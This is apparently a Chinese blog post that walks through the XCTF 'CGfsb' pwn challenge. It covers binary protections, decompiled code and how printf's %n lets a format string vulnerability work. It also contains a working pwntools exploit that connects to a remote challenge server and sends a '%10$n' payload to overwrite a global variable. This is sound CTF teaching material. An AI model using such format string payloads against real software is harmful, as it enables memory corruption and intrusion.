一、题目来源

攻防世界–CGfsb

https://adworld.xctf.org.cn/

二、程序分析

  1. 用checksec检测,得到如下信息
    *32位程序
    *PIE关闭,全局变量随机地址关闭
    *开了NX(栈堆不可执行)

    *CANNARY(栈保护)
  2. 用IDA 32位可以直接打开看到汇编代码,说明未做加壳。 然后F5一下看下main函数的伪代码如下:

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int buf; // [esp+1Eh] [ebp-7Eh]
      int v5; // [esp+22h] [ebp-7Ah]
      __int16 v6; // [esp+26h] [ebp-76h]
      char s; // [esp+28h] [ebp-74h]
      unsigned int v8; // [esp+8Ch] [ebp-10h]
    
      v8 = __readgsdword(0x14u);
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      setbuf(stderr, 0);
      buf = 0;
      v5 = 0;
      v6 = 0;
      memset(&s, 0, 0x64u);
      puts("please tell me your name:");
      read(0, &buf, 0xAu);
      puts("leave your message please:");
      fgets(&s, 100, stdin);
      printf("hello %s", &buf);
      puts("your message is:");
      printf(&s);
      if ( pwnme == 8 )
      {
        puts("you pwned me, here is your flag:\n");
        system("cat flag");
      }
      else
      {
        puts("Thank you!");
      }
      return 0;
    }
    

  3. 代码分析
    需要要pwnme这个变量的值等于8,便可以拿到flag文件。栈堆也不可以执行。
    观察代码发现printf(&s),一般来说printf的格式为:printf(“格式化字符串”,参数)
    它的参数是由格式化说明符与字符串组成的,通过格式化说明符来规定参数用什么格式输出内容。
    格式化说明符有这些:
    %d – 十进制 – 输出十进制整数
    %s – 字符串 – 从内存中读取字符串
    %x – 十六进制 – 输出十六进制数
    %c – 字符 – 输出字符
    %p – 指针 – 指针地址
    %n – 到目前为止所写的字符数
    本题重点讲的是这个%n,它的功能是将%n之前打印出来的字符个数赋值给一个变量
    如:
    int a = 0;
    printf(“hello RHacker%n”,&a);
    printf(“%d\n”,a);
    一般人觉得最后一行肯定是打印出0这个数字,但是实际上打印的结果是13,因为在第二行因为%n的功能就是把a值边为
    hello RHacker 这个字符的个数。 所以a的值就这样被改变了,这就是格式化字符串漏洞
  4. 思路分析
    所以想要改变pwnme的值,首先得做到以下几点:

    1、 需要将pwnme的地址输入到s(也就是message)中去
    2、在合适的位置上加上%n,使其与我们输入的地址对应从而造成漏洞利用
    首先我们得知道我们输入的数据在栈中偏移了多少
    在massage处输入:
    AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

    可以看到0x41414141便是我们输入“AAAA”, 数一下便知道偏移是10

三、编写exp

#coding=utf-8
from pwn import *
context.log_level = 'debug'
conn = remote("111.198.29.45",40009)
pwnme = 0x0804A068    #pwnme 地址在伪代码中双击就能查看
payload1 = 'admin'
payload2 = (p32(pwnme) + 'aaaa' + '%10$n')  #pwnme的地址需要经过32位编码转换,是四位,而pwnme 需要等于8,所以‘aaaa’起着凑字数的作用
conn.recvuntil('please tell me your name:')
conn.sendline(payload1)
conn.recvuntil('leave your message please:')
conn.sendline(payload2)
conn.interactive()

exp分析:
pwnme的位置(.bss段的全局变量,地址永远不变)

%10$n
将打印初的字符数写入偏移 10 处 esp 指向的地址
分类: CTFPwn

发表评论

电子邮件地址不会被公开。


CAPTCHA Image
Reload Image
皖ICP备18016857号-1